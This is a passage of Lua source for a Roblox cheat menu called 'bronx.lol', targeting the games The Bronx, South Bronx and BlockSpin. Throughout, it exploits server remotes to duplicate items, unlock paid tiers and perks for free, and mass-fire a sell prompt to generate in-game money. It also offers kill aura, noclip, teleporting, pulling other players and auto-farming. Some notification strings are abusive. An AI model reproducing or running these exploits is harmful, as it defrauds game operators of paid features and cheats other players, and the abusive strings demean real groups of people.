flag = "FarmDroppedLoot_TheBronx", default = false, callback = function(state)
            Config.TheBronx.Farms.CollectDroppedLoot = state
        end})

        ManualFarmSections:button({name = "Clean All Filthy Money", callback =
LPH_NO_VIRTUALIZE(function()
            if LocalPlayer.stored.FilthyStack.Value == 0 then
                return library.notifications:create_notification({
                    name = "bronx.lol",
                    info = `You have no fucking money poor fuck!`,
                    lifetime = 7.5
                })
            end

            if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then return end
            if not LocalPlayer.Character:FindFirstChild("Humanoid") or
LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then return end

            local Cleaner = GetGoodCleaner()

            if not Cleaner then
                return library.notifications:create_notification({
                    name = "bronx.lol",
                    info = `Could not find a valid cleaner!`,
                    lifetime = 7.5
                })
            end

            Teleport(Cleaner.WorldPivot)

            task.wait(0.4)

            fireproximityprompt(Cleaner:FindFirstChild("CashPrompt", true))

            repeat task.wait() until Cleaner:FindFirstChild("On", true).Color ==
Color3.fromRGB(74, 156, 69)

            task.wait(0.5)

            fireproximityprompt(Cleaner:FindFirstChild("CashPrompt", true))

            task.wait(0.25)

            Teleport(Cleaner.WorldPivot)
```

```
            task.wait(0.4)

            repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("MoneyReady")

            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack["MoneyReady"])

            repeat task.wait(0.1) fireproximityprompt(Cleaner:FindFirstChild("GrabPrompt",
true)) until not LocalPlayer.Character:FindFirstChild("MoneyReady")

            repeat task.wait()
            until LocalPlayer.Backpack:FindFirstChild("BagOfMoney")

            Teleport(CFrame.new(-203, 284, -1201))

            task.wait(0.4)

            LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack["BagOfMoney"])

            task.wait(1)

            fireproximityprompt(Workspace.ATMMoney.Prompt)
        end)})

        local FarmSettingsSection = Column:section({name = "Farming Settings", size =
0.225, default = false, side = 'left', Icon = GetImage("Settings.png")})

        FarmSettingsSection:toggle({type = "toggle", name = "AFK Safety Teleport", flag =
"AFKCheck_TheBronx", default = false, callback = function(state)
            Config.TheBronx.Farms.AFKCheck = state
        end})

        FarmSettingsSection:toggle({type = "toggle", name = "Auto Sell Trash", flag =
"SellTrash_TheBronx", default = false, callback = function(state)
            Config.TheBronx.Farms.AutoSellTrash = state
        end})

        Column = MiscTab:column({})

        local DupingSection = Column:section({name = "Duping Section", size = 0.29, default
= false, side = 'right', icon = GetImage("Node.png")})

        local Cooldown = false;

        DupingSection:button({name = "Duplicate Current Item", callback = function()
            task.spawn(function()
                if Cooldown then
                    library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `Please wait!`,
                        lifetime = 5
                    })
                    return
                end
```

```
Cooldown = true
local Player = Players.LocalPlayer
local Backpack = Player.Backpack

local Tool = Player.Character:FindFirstChildOfClass("Tool")

if not Tool then
   library.notifications:create_notification({
      name = "bronx.lol",
      info = `Could not find a tool! you must hold one.`,
      lifetime = 10
   })
   return
end

Player.Character.Humanoid:UnequipTools()

local ToolName = Tool.Name
local ToolId

local Connection = ReplicatedStorage.MarketItems.ChildAdded:Connect(
   function(item)

      if item.Name == ToolName then
         if item:WaitForChild('owner').Value == Player.Name then
            ToolId = item:GetAttribute('SpecialId')
         end
      end
   end
)

spawn(function()
   ReplicatedStorage.ListWeaponRemote:FireServer(ToolName, 99999)
end)

task.wait(.26)

spawn(function()
   ReplicatedStorage.BackpackRemote:InvokeServer('Store', ToolName)
end)

task.wait(3)

spawn(function()
   ReplicatedStorage.BuyItemRemote:FireServer(ToolName, 'Remove', ToolId)
end)

spawn(function()
   ReplicatedStorage.BackpackRemote:InvokeServer("Grab", ToolName)
end)

Connection:Disconnect()

task.wait(1)
```

```
            Cooldown = false
        end)
    end})

    DupingSection:label({wrapped = true, name = "This might bug if you have more than
1 of the item you're duping!"})

    local VulnerabilitySection = Column:section({name = "Vulnerability Section", size =
0.347, default = false, side = 'right', icon = GetImage("unlocked.png")})

    local GetFruitCup = LPH_NO_VIRTUALIZE(function()
        local Found, Cup = false, nil;

        for Index, Value in next, {LocalPlayer.Backpack:GetChildren(),
LocalPlayer.Character:GetChildren()} do
            for _Index, _Value in Value do
                if _Value:IsA("Tool") and _Value.Name == "Ice-Fruit Cupz" then
                    if _Value["IceFruit Cup"]["IceFruit PunchMedium"].Transparency ~= 1 then
                        Found = true
                        Cup = _Value
                        break
                    end
                end
            end
        end

        return Found, Cup
    end)

    VulnerabilitySection:button({name = "Generate Max Illegal Money", callback =
function()
        local Found, Cup = GetFruitCup()

        if Cup and Found then
            HideUI("generating illegal cash 💷\n please wait.")

            local OLDCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

            if Cup.Parent == LocalPlayer.Backpack then
                LocalPlayer.Character.Humanoid:EquipTool(Cup)
                task.wait(1)
            end

            Teleport(Workspace["IceFruit Sell"].CFrame, true)

            task.wait(.5)

            for Index=1, 4000 do
                task.spawn(function()
                    _fireproximityprompt(Workspace["IceFruit Sell"].ProximityPrompt)
                end)
            end
```

```
        Teleport(OLDCFrame)

        DeleteSecretUI()

        return
    end

    HideUI("buying products 🍉\nif you are stuck here, PLEASE WAIT!!")

    local OLDCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

    local Itemz = {"FijiWater", "FreshWater", "Ice-Fruit Bag", "Ice-Fruit Cupz"}
    local Stove;

    for Index, Value in Workspace.CookingPots:GetChildren() do
        if Value:IsA("Model") then
            if Value:FindFirstChildWhichIsA("ProximityPrompt", true).ActionText == "Turn
On" and Value:FindFirstChildWhichIsA("ProximityPrompt", true).Enabled then
                Stove = Value

                break
            end
        end
    end

    for Index, Value in Itemz do
        if not LocalPlayer.Backpack:FindFirstChild(Value) then
            ReplicatedStorage:WaitForChild("ExoticShopRemote"):InvokeServer(Value)
            task.wait(1)
        end
    end

    local Check = false;

    for Index, Value in Itemz do
        if not LocalPlayer.Backpack:FindFirstChild(Value) then
            Check = true
        end
    end

    if Check then
        DeleteSecretUI()
        library.notifications:create_notification({
            name = "bronx.lol",
            info = `Could not find items! Please check you have more than 5000$.`,
            lifetime = 10
        })
        return
    end

    DeleteSecretUI()
```

```
HideUI("generating illegal cash 💷\n this takes around 1-2 minutes.\n please
wait.")

Teleport(Stove.CookPart.CFrame, true)

task.wait(1)

StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
LocalPlayer.Character.HumanoidRootPart.Anchored = true

task.wait(1.5)

fireproximityprompt(Stove:FindFirstChildWhichIsA("ProximityPrompt", true))

task.wait(2)

for Index, Value in {"FijiWater", "FreshWater", "Ice-Fruit Bag"} do
   LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack[Value])
   task.wait(1)
   fireproximityprompt(Stove:FindFirstChildWhichIsA("ProximityPrompt", true))
   task.wait(3)
end

repeat wait() until
Stove.CookPart.Steam.LoadUI.Enabled == false

if not LocalPlayer.Character:FindFirstChild("Ice-Fruit Cupz") then
   LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack['Ice-Fruit
Cupz'])
   task.wait(1)
end

task.wait(1)

fireproximityprompt(Stove:FindFirstChildWhichIsA("ProximityPrompt", true))

task.wait(3)

LocalPlayer.Character.HumanoidRootPart.Anchored = false

Teleport(Workspace["IceFruit Sell"].CFrame, true)

task.wait(1)

LocalPlayer.Character.HumanoidRootPart.Anchored = true

task.wait(1.5)

if not LocalPlayer.Character:FindFirstChild("Ice-Fruit Cupz") then
   LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack['Ice-Fruit
Cupz'])
   task.wait(1)
end
```

```
            Workspace["IceFruit Sell"].ProximityPrompt.HoldDuration = 0

            for Index=1, 4000 do
                task.spawn(function()
                    _fireproximityprompt(Workspace["IceFruit Sell"].ProximityPrompt)
                end)
            end

            LocalPlayer.Character.HumanoidRootPart.Anchored = false
            StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)

            task.wait(0.5)

            Teleport(OLDCFrame, true)

            task.wait(2)

            pcall(DeleteSecretUI)
        end})

        VulnerabilitySection:label({wrapped = true, name = "Money Generator takes around 3
minutes, and can take longer if some items are not in stock. You will need around 5K to do
this."})

        local KillAuraSection = Column:section({name = "Kill Aura Section", size = 0.275,
default = false, side = 'right', icon = GetImage("Bullet.png")})

        KillAuraSection:toggle({name = "Enabled - Hold Gun", flag =
"KillAura_Enabled_TB3", type = "toggle", default = false, callback = function(state)
            Config.TheBronx.KillAura = state
        end})

        KillAuraSection:slider({name = "Kill Aura Range", flag = "KillAuraRange_TB3", min =
0, max = 1000, default = 300, suffix = "st", callback = function(state)
            Config.TheBronx.KillAuraRange = state
        end})
    end

    do -- \\ Purchase Guns
        local PurchaseGunColumn = PurchaseGunTab:column({})

        local WeaponListSection = PurchaseGunColumn:section({name = "Purchase
Selected Item", side = "left", size = 1, icon = GetImage("Cash.png")})

        WeaponListSection:list({flag = "PurchaseSelectedItem_TheBronx", options =
Config.Guns, callback = function(state)
            task.spawn(LPH_NO_VIRTUALIZE(function()
                if not state then
                    return
                end

                Config.TheBronx.Selected_Item = state
```

```
                local self = string.match(Config.TheBronx.Selected_Item, "^(.*) %-");

                self = self:match("^%s*(.-)%s*$");
                local OldCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame;
                local Prompt = Workspace:FindFirstChild("GUNS")
[self]:FindFirstChildWhichIsA("ProximityPrompt",true);
                if (Workspace:FindFirstChild("GUNS")[self]:FindFirstChild("GamepassID", true)
and not MarketplaceService:UserOwnsGamePassAsync(LocalPlayer.UserId,
Workspace:FindFirstChild("GUNS")[self]:FindFirstChild("GamepassID",true).Value)) then
                    return library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `You do not own this gamepass!`,
                        lifetime = 5
                    })
                end

                --if Solara then Prompt.HoldDuration = 0; end

                local Part = Prompt.Parent:IsA("Part") and Prompt.Parent.CFrame or
Prompt.Parent:IsA("MeshPart") and Prompt.Parent.CFrame or
Prompt.Parent:IsA("UnionOperation") and Prompt.Parent.CFrame;
                if LocalPlayer.stored.Money.Value < Workspace:FindFirstChild("GUNS")
[self]:FindFirstChild("Price",true).Value then
                    return library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `You are ${Workspace:FindFirstChild("GUNS")
[self]:FindFirstChild("Price",true).Value - LocalPlayer.stored.Money.Value} short.`,
                        lifetime = 5
                    })
                end;

                task.spawn(Teleport, Part)

                task.wait(0.4)

                local ItemReceieved = false;
                task.spawn(function()
                    local Check = LocalPlayer.Backpack.ChildAdded:Connect(function(Child)
                        if tostring(Child) == tostring(self) then
                            ItemReceieved = true
                        end
                    end)

                    task.spawn(function()
                        task.wait(1.5)
                        ItemReceieved = true
                    end)

                    repeat task.wait() until ItemReceieved == true
                    Check:Disconnect()
                end)

                repeat task.wait(); fireproximityprompt(Prompt); until ItemReceieved == true;
```

```
                task.wait(0.4)

                task.spawn(Teleport, OldCFrame)

                library.notifications:create_notification({
                    name = "bronx.lol",
                    info = `Successfully purchased {self}!`,
                    lifetime = 5
                })
            end))
        end})

        PurchaseGunColumn = PurchaseGunTab:column({})

        local TeleportListSection = PurchaseGunColumn:section({name = "Teleport To
Location", side = "right", size = 1, icon = GetImage("World.png")})

        local List = {}

        for Index, Value in Config.TheBronx.TeleportationList do
            table.insert(List, Index)
        end

        table.sort(List)

        TeleportListSection:list({flag = "TeleportToPlace_TheBronx", options = List, callback =
function(state)
            task.spawn(LPH_NO_VIRTUALIZE(function()
                if not state then
                    return
                end

                Teleport(Config.TheBronx.TeleportationList[state])

                library.notifications:create_notification({
                    name = "bronx.lol",
                    info = `Successfully teleported to {state}!`,
                    lifetime = 5
                })
            end))
        end})
    end
  end
 end
end

if Game_Name == "South Bronx" then
  window:seperator({name = "Game"}) do
    local LocalPlayerTab, PlayersTab, PurchaseGunTab = window:tab({name = "Main", tabs =
{"Local Player", "Players", "Teleports"}, icon = GetImage("World.png")}) do
      do -- \\ Local Player
        local LocalPlayerColumn = LocalPlayerTab:column({})
        local LocalPlayerModsSection = LocalPlayerColumn:section({name = "Local Player
Modifications", side = "left", size = 0.475})
```

```
        local __Modifications = {
            "Infinite Stamina";
            "Instant Interact";
            "Delete On Key";
            "Hide Name";
            "No Clip";
            "Speed";
        }

        for _, Index in __Modifications do
            LocalPlayerModsSection:toggle({type = "toggle", name = Index, flag =
Index.."_SB", default = false, callback = Index ~= "No Clip" and
LPH_NO_VIRTUALIZE(function(Value)
                Index = string.gsub(Index, " ", "")
                Config.South_Bronx.LocalPlayer_Config[Index] = Value
            end) or function(Value)
                if Value and not Solara then
                    RunService:BindToRenderStep("NOCLIP", 1,
LPH_NO_VIRTUALIZE(function()
                        if LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("Humanoid") then
                            if LocalPlayer.Character.Humanoid.Health ~= 0 then
                                for Index, Value in LocalPlayer.Character:GetDescendants() do
                                    if Collide_Data[Value.Name] then
                                        pcall(function()
                                            Value.CanCollide = false
                                        end)
                                    end
                                end
                            else
                                for Index, Value in LocalPlayer.Character:GetDescendants() do
                                    if Collide_Data[Value.Name] then
                                        pcall(function()
                                            Value.CanCollide = true
                                        end)
                                    end
                                end
                            end
                        end
                    end))
                else
                    RunService:UnbindFromRenderStep("NOCLIP")

                    for Index, Value in LocalPlayer.Character:GetDescendants() do
                        if Collide_Data[Value.Name] then
                            pcall(function()
                                Value.CanCollide = true
                            end)
                        end
                    end
                end
            end})
        end
```

```
        LocalPlayerModsSection = LocalPlayerColumn:section({name = "Modification
Settings", side = "left", size = 0.275, icon = GetImage("Settings.png")})

        LocalPlayerModsSection:slider({name = "WalkSpeed Value", flag =
"WalkSpeedValue_SouthBronx", min = 0, max = 50, default = 25, suffix = "%", callback =
function(state)
            Config.South_Bronx.LocalPlayer_Config.SpeedValue = state/100
        end})

        LocalPlayerModsSection:keybind({name = "Delete + Click Key", flag =
"DeleteOnKey_SouthBronx", key = Enum.KeyCode.LeftControl, mode = "Hold", callback =
function(state)
            Config.South_Bronx.LocalPlayer_Config.DeleteKey =
library.flags["DeleteOnKey_SouthBronx"].key
        end})

        TeleportMethodSection = LocalPlayerColumn:section({name = "Teleportation
Method", side = "left", size = 0.175, icon = GetImage("Wrench.png")})

        TeleportMethodSection:dropdown({name = "Select Method", flag =
"TeleportMethod_SB", width = 100, items = {"Dirt Bike", "Damage", "Tween"}, seperator =
false, multi = false, default = "Damage", callback = function(state)
            Config.South_Bronx.TeleportMethod = state
        end})

        LocalPlayerColumn = LocalPlayerTab:column({})

        local VulnSection = LocalPlayerColumn:section({name = "Vulnerability Section", side
= "right", size = 0.23 , icon = GetImage("unlocked.png")})

        local _OwnedHotChips = LocalPlayer:GetAttribute("ExtraHotChipsMoneyEnabled")

        local OwnedHotChips = _OwnedHotChips

        local _Tiers = {
            ["TIER_1"] = LocalPlayer:GetAttribute("TIER_1");
            ["TIER_2"] = LocalPlayer:GetAttribute("TIER_2");
            ["TIER_3"] = LocalPlayer:GetAttribute("TIER_3");
        }

        local Tiers = {
            ["TIER_1"] = LocalPlayer:GetAttribute("TIER_1");
            ["TIER_2"] = LocalPlayer:GetAttribute("TIER_2");
            ["TIER_3"] = LocalPlayer:GetAttribute("TIER_3");
        }

        local _ScriptLoaded = false;

        VulnSection:toggle({name = "Free Tier 1, 2 and 3", default = false, flag = "Free_Tiers",
type = 'toggle', callback = function(state)
            if not _ScriptLoaded then return end

            for Index, Value in Tiers do
```

```
                if _Tiers[Index] then continue end

                local Arguments = {
                    [1] = "UpdateSettingAttribute",
                    [2] = {
                        ["Attribute"] = Index,
                        ["Enabled"] = Tiers[Index]
                    }
                }


FireServer(ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("ClientEffects"),
table.unpack(Arguments))

                Tiers[Index] = not Tiers[Index]
            end
        end})

        VulnSection:toggle({name = "Free Extra Hot Chips Cash", default = false, flag =
"Free_Chips", type = 'toggle', callback = function(state)
            if not _ScriptLoaded then return end

            local Arguments = {
                [1] = "UpdateSettingAttribute",
                [2] = {
                    ["Attribute"] = "ExtraHotChipsMoneyEnabled",
                    ["Enabled"] = OwnedHotChips
                }
            }


FireServer(ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("ClientEffects"),
table.unpack(Arguments))

            OwnedHotChips = not OwnedHotChips
        end})

        local FarmSection = LocalPlayerColumn:section({name = "Auto Farming Section",
side = "right", size = 0.54, icon = GetImage("Wheatt.png")})

        FarmSection:toggle({name = "Auto-Farm Cards", default = false, flag =
"Card_Auto_Farm", type = "toggle", callback = function(state)
            task.spawn(function() if not _ScriptLoaded then return end
                if Config.South_Bronx.OwnedBike == "Unknown" then
                    local Bike = Find_Bike()
                    if Bike == nil then

ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireSer
ver("Spawn", "DirtBike")
                        task.wait(1)
                        Bike = Find_Bike()
                        task.wait(1)
                        if Bike == nil then Config.South_Bronx.OwnedBike = "No" else
Config.South_Bronx.OwnedBike = "Yes" end
```

```
                else
                    Config.South_Bronx.OwnedBike = "Yes"
                end
                task.wait(0.5)
            end
            Config.South_Bronx.FarmingUtilities.CardFarm = state
            if state then Start_CardFarm() else Stop_CardFarm() end
        end)
    end})

    FarmSection:toggle({name = "Auto-Farm Boxes", default = false, flag =
"Box_Auto_Farm", type = "toggle", callback = function(state)
        if not _ScriptLoaded then return end
        Config.South_Bronx.FarmingUtilities.BoxFarm = state
        if state then Start_BoxFarm() else Stop_BoxFarm() end
    end})

    FarmSection:toggle({name = "Auto-Farm Chips", default = false, flag =
"Chip_Auto_Farm", type = "toggle", callback = function(state)
        task.spawn(function() if not _ScriptLoaded then return end
            if Config.South_Bronx.OwnedBike == "Unknown" then
                local Bike = Find_Bike()
                if Bike == nil then

ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireSer
ver("Spawn", "DirtBike")
                    task.wait(1)
                    Bike = Find_Bike()
                    task.wait(1)
                    if Bike == nil then Config.South_Bronx.OwnedBike = "No" else
Config.South_Bronx.OwnedBike = "Yes" end
                else
                    Config.South_Bronx.OwnedBike = "Yes"
                end
                task.wait(0.5)
            end
            Config.South_Bronx.FarmingUtilities.ChipFarm = state
            if state then Start_ChipFarm() else Stop_ChipFarm() end
        end)
    end})

    FarmSection:toggle({name = "Auto-Farm Marshmallows", default = false, flag =
"Marshmallow_Auto_Farm", type = "toggle", callback = function(state)
        task.spawn(function() if not _ScriptLoaded then return end
            if Config.South_Bronx.OwnedBike == "Unknown" then
                local Bike = Find_Bike()
                if Bike == nil then

ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireSer
ver("Spawn", "DirtBike")
                    task.wait(1)
                    Bike = Find_Bike()
                    task.wait(1)
```

```
                        if Bike == nil then Config.South_Bronx.OwnedBike = "No" else
Config.South_Bronx.OwnedBike = "Yes" end
                    else
                        Config.South_Bronx.OwnedBike = "Yes"
                    end
                    task.wait(0.5)
                end
                Config.South_Bronx.FarmingUtilities.MarshmallowFarm = state
                if state then Start_MarshmallowFarm() else Stop_MarshmallowFarm() end
            end)
        end})

        local _MarshMallowDropdown;

        _MarshMallowDropdown = FarmSection:slider({name = "Marshmallow Amount -
$950", flag = "Marshmallow_Amount", min = 1, max = 50, default = 5, suffix = "", callback =
function(state)
            Config.South_Bronx.FarmingUtilities.MarshmallowIncrement = state

            if _MarshMallowDropdown then
                _MarshMallowDropdown.changetext(string.format("Marshmallow Amount - $
%s", (state * 190)))
            end
        end})

        FarmSection:label({wrapped = true, name = "You must own a house with pots to use
the marshmallow farm!"})

        local DupeSection = LocalPlayerColumn:section({name = "Duplication Section", side
= "right", size = 0.2, icon = "rbxassetid://139628202576511"})

        DupeSection:button({name = "Duplication Vulnerability", callback = function()
            FireServer(ReplicatedStorage.RemoteEvents.PurchaseItem, 'Shoes', 'YZ Slides',
'\255')
        end})

        _ScriptLoaded = true
    end

    do -- \\ Teleports
        local Location_Names = {"Dirty Hobo 💩"; "Active ATM 🏧"}

        for Index, Value in Config.South_Bronx.Locations do
            table.insert(Location_Names, Index)
        end

        table.sort(Location_Names)

        local PurchaseGunColumn = PurchaseGunTab:column({})

        local WeaponListSection = PurchaseGunColumn:section({name = "Purchase
Selected Item", side = "left", size = 1, icon = GetImage("Cash.png")})
```

```
            WeaponListSection:list({flag = "PurchaseSelectedItem_SouthBronx", options =
Config.South_Bronx.Guns, callback = function(v)
                task.spawn(LPH_NO_VIRTUALIZE(function()
                    if not v then return end

                    Config.South_Bronx.Selected_Item = tostring(v)

                    local self = string.match(Config.South_Bronx.Selected_Item, "^(.*) %-");

                    local DidntBuy = false

                    local suc, err = pcall(function()
                        self = self:match("^%s*(.-)%s*$");

                        local PromptCFrame = GunPosition[self];
                        local OldCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

                        task.spawn(function()
                            ItemReceieved = false;
                            local Check = LocalPlayer.Backpack.ChildAdded:Connect(function(Child)
                                if tostring(Child) == tostring(self) then
                                    ItemReceieved = true
                                end
                            end)

                            task.spawn(function()
                                task.wait(10)
                                ItemReceieved = true
                            end)

                            repeat RunService.RenderStepped:Wait() until ItemReceieved == true
                            Check:Disconnect()
                        end)

                        local Teleport_Status = Teleport(PromptCFrame)

                        if Teleport_Status == "Failed" then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Failed to purchase {self}!`,
                                lifetime = 7.5
                            })

                            DidntBuy = true

                            return
                        end

                        repeat RunService.RenderStepped:Wait() until
LocalPlayer.Character.Humanoid.SeatPart == nil

                        for Index = 1, Config.South_Bronx.Item_Amount do
                            fireproximityprompt(Workspace:FindFirstChild("PromptPurchases")
[self].proxprompt:FindFirstChildOfClass("ProximityPrompt"))
```

```
                end

                repeat RunService.RenderStepped:Wait() until ItemReceieved == true

                repeat RunService.RenderStepped:Wait() until Teleport_Status == "Success"

                task.wait(1.5)

                Teleport(OldCFrame)
            end)

            if not LocalPlayer.Backpack:FindFirstChild(self) and not
LocalPlayer.Character:FindFirstChild(self) then
                library.notifications:create_notification({
                    name = "bronx.lol",
                    info = `Failed to purchase {self}!`,
                    lifetime = 7.5
                })

                return
            end

            if not DidntBuy then
                if suc then
                    library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `Successfully purchased {self}!`,
                        lifetime = 5
                    })
                else
                    library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `Failed to purchase item {self} . error : {err}`,
                        lifetime = 15
                    })
                end
            end
        end))
    end})

    PurchaseGunColumn = PurchaseGunTab:column({})

    local TeleportListSection = PurchaseGunColumn:section({name = "Teleport To
Location", side = "right", size = 1, icon = GetImage("World.png")})

    local Location_Names = {"Dirty Hobo 💩"; "Active ATM 🏧"}

    for Index, Value in Config.South_Bronx.Locations do
        table.insert(Location_Names, Index)
    end

    table.sort(Location_Names, function(...)
        return select(1, ...) < select(2, ...)
```

```
        end)

        local TP_Debounce = false

        TeleportListSection:list({flag = "TeleportToPlace_SouthBronx", options =
Location_Names, callback = function(state)
            task.spawn(LPH_NO_VIRTUALIZE(function()
                if not state then
                    return
                end

                if TP_Debounce then
                    library.notifications:create_notification({
                        name = "bronx.lol",
                        info = `Please wait!`,
                        lifetime = 5
                    })

                    return
                end

                Config.South_Bronx.Selected_Location = state

                local _Position = CFrame.new(0,0,0)

                TP_Debounce = true

                local suc, error = pcall(function()
                    if Config.South_Bronx.Selected_Location ~= "Dirty Hobo 💩" and
Config.South_Bronx.Selected_Location ~= "Active ATM 🏧" then
                        _Position =
Config.South_Bronx.Locations[Config.South_Bronx.Selected_Location]

Teleport(Config.South_Bronx.Locations[Config.South_Bronx.Selected_Location])
                    elseif Config.South_Bronx.Selected_Location == "Dirty Hobo 💩" then
                        if Workspace.Folders.HomelessPeople:FindFirstChild("RightLowerLeg",
true) then
                            local _Hobo =
Workspace.Folders.HomelessPeople:FindFirstChild("RightLowerLeg", true).CFrame
                            _Position = _Hobo
                            Teleport(_Hobo)
                        else
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Failed to locate dirty hobo crackhead!`,
                                lifetime = 5
                            })
                        end
                    elseif Config.South_Bronx.Selected_Location == "Active ATM 🏧" then
                        local ATMPositions = {
                            ATM1 = CFrame.new(-30, 4, -300);
```

```
                ATM2 = CFrame.new(539, 4, -353);
                ATM3 = CFrame.new(497, 4, 403);
                ATM4 = CFrame.new(236, 4, -158);
                ATM5 = CFrame.new(525, -8, -92);
                ATM6 = CFrame.new(-450, 4, 370);
                ATM7 = CFrame.new(-266, 4, -209);
                ATM8 = CFrame.new(-11, 4, 231);
                ATM9 = CFrame.new(717, 4, 410);
                ATM10 = CFrame.new(-532, 3, -21);
                ATM11 = CFrame.new(-646, 4, 155);
                ATM12 = CFrame.new(698, 3, -241);
                ATM13 = CFrame.new(-315, 4, 142);
                ATM14 = CFrame.new(-378, 4, -365);
                ATM15 = CFrame.new(360, 4, -364);
                ATM16 = CFrame.new(870, 3, -346);
                ATM17 = CFrame.new(904, 3, -99);
                ATM18 = CFrame.new(1095, 3, 178);
                ATM19 = CFrame.new(1054, 4, 585);
                ATM20 = CFrame.new(895, 4, 142);
                ATM21 = CFrame.new(1021, 3, -229);
            };

            local ATM;

            for Index, Value in Workspace.Map.ATMS:GetChildren() do
                if Value.ATMScreen.Transparency == 0 then
                    ATM = Value
                    break
                end
            end

            _Position = ATMPositions[tostring(ATM)]

            Teleport(ATMPositions[tostring(ATM)])
        end
    end)

    TP_Debounce = false

    if (LocalPlayer.Character.HumanoidRootPart.Position -
_Position.Position).Magnitude > 20 then
        library.notifications:create_notification({
            name = "bronx.lol",
            info = `Failed teleported to {state}!`,
            lifetime = 7.5
        })

        return
    end

    if suc then
        library.notifications:create_notification({
            name = "bronx.lol",
            info = `Successfully teleported to {state}!`,
```

```
                    lifetime = 5
                })
            else
                library.notifications:create_notification({
                    name = "bronx.lol",
                    info = `Teleportation to {state}. error : {err}`,
                    lifetime = 15
                })
            end
        end))
    end})
end

do -- \\ Player Tab
    local Column = PlayersTab:column({})

    local PlayerListSection = Column:section({name = "Select Player", size = 1, default =
false, side = 'left' --[[3 people icon]]})

    local PlayerList = PlayerListSection:list({flag = "SelectPlayer_SouthBronx", options =
{}, callback = function(state)
        Config.South_Bronx.PlayerUtilities.SelectedPlayer = tostring(state)
    end})

    local RefreshPlayers = LPH_NO_VIRTUALIZE(function()
        local Cache = {}

        for i, Player in Players:GetPlayers() do
            if Player == LocalPlayer then continue end

            table.insert(Cache, Player.Name)
        end

        table.sort(Cache)

        PlayerList.refresh_options(Cache)
    end)

    task.spawn(RefreshPlayers)

    Players.PlayerAdded:Connect(RefreshPlayers)

    Players.PlayerRemoving:Connect(RefreshPlayers)

    Column = PlayersTab:column({})

    local PlayerOptionsSection = Column:section({name = "Player Options", size = 1,
default = false, side = 'right', icon = GetImage("Wrench.png")})

    PlayerOptionsSection:toggle({type = "toggle", name = "Spectate Player", flag =
"SpectatePlayer_SouthBronx", default = false, callback = function(state)
        Config.South_Bronx.PlayerUtilities.SpectatePlayer = state
    end})
```

```
            PlayerOptionsSection:toggle({type = "toggle", name = "Bring Player", flag =
"BringPlayer_SouthBronx", default = false, callback = function(state)
                Config.South_Bronx.PlayerUtilities.BringingPlayer = state
            end})

            PlayerOptionsSection:button({name = "Teleport To Player", callback = function()
                task.spawn(function()
                    if not Config.South_Bronx.PlayerUtilities.SelectedPlayer then return end

                    local Success, Error = pcall(function()

Teleport(Players[Config.South_Bronx.PlayerUtilities.SelectedPlayer].Character.HumanoidRootP
art.CFrame)
                    end)

                    if (LocalPlayer.Character.HumanoidRootPart.Position -
Players[Config.South_Bronx.PlayerUtilities.SelectedPlayer].Character.HumanoidRootPart.Positi
on).Magnitude > 20 then
                        library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Failed to teleport to
{Config.South_Bronx.PlayerUtilities.SelectedPlayer}!`,
                            lifetime = 7.5
                        })

                        return
                    end

                    if Success then
                        library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Successfully teleported to
{Config.South_Bronx.PlayerUtilities.SelectedPlayer}!`,
                            lifetime = 7.5
                        })
                    else
                        library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Failed to teleport to
{Config.South_Bronx.PlayerUtilities.SelectedPlayer}. Error : {Error}`,
                            lifetime = 10
                        })
                    end
                end)
            end})

            PlayerOptionsSection:button({name = "Get Into Players Car", callback = function()
                pcall(SitInPlayersVehicle,
Players[Config.South_Bronx.PlayerUtilities.SelectedPlayer])
            end})
        end
    end
  end
end
```

```
if Game_Name == "BlockSpin" then
   window:seperator({name = "Game"}) do
      local LocalPlayerTab, PlayersTab, PurchaseGunTab, MiscTab = window:tab({name =
"Main", tabs = {"Local Player"}, icon = GetImage("World.png")}) do
         local LocalPlayerColumn = LocalPlayerTab:column({})
         local LocalPlayerModsSection = LocalPlayerColumn:section({name = "Local Player
Modifications", side = "left", size = 0.475})

         local FarmingSection = LocalPlayerColumn:section({name = "Auto-Farming Utilities",
side = "left", size = 0.475, icon = GetImage("Wheatt.png")})

         local _ScriptLoaded = false

         FarmingSection:dropdown({name = "Mope Type", flag = "MopType_BlockSpin", width =
120, items = {"Default", "Silver", "Gold", "Diamond"}, seperator = false, multi = false, default =
'Default', callback = function(state)
            Config.BlockSpin.AutoFarming.MopType = state
         end})

         FarmingSection:toggle({name = "Auto-Farm Mop Job", flag = "JanitorFarm_BlockSpin",
type = "toggle", callback = function(state)
            if not _ScriptLoaded then return end
            Config.BlockSpin.AutoFarming.FarmMops = state

            task.spawn(function()
               if Config.BlockSpin.AutoFarming.FarmMops then
                  Start_MopFarm()
               else
                  Stop_MopFarm()
               end
            end)
         end})

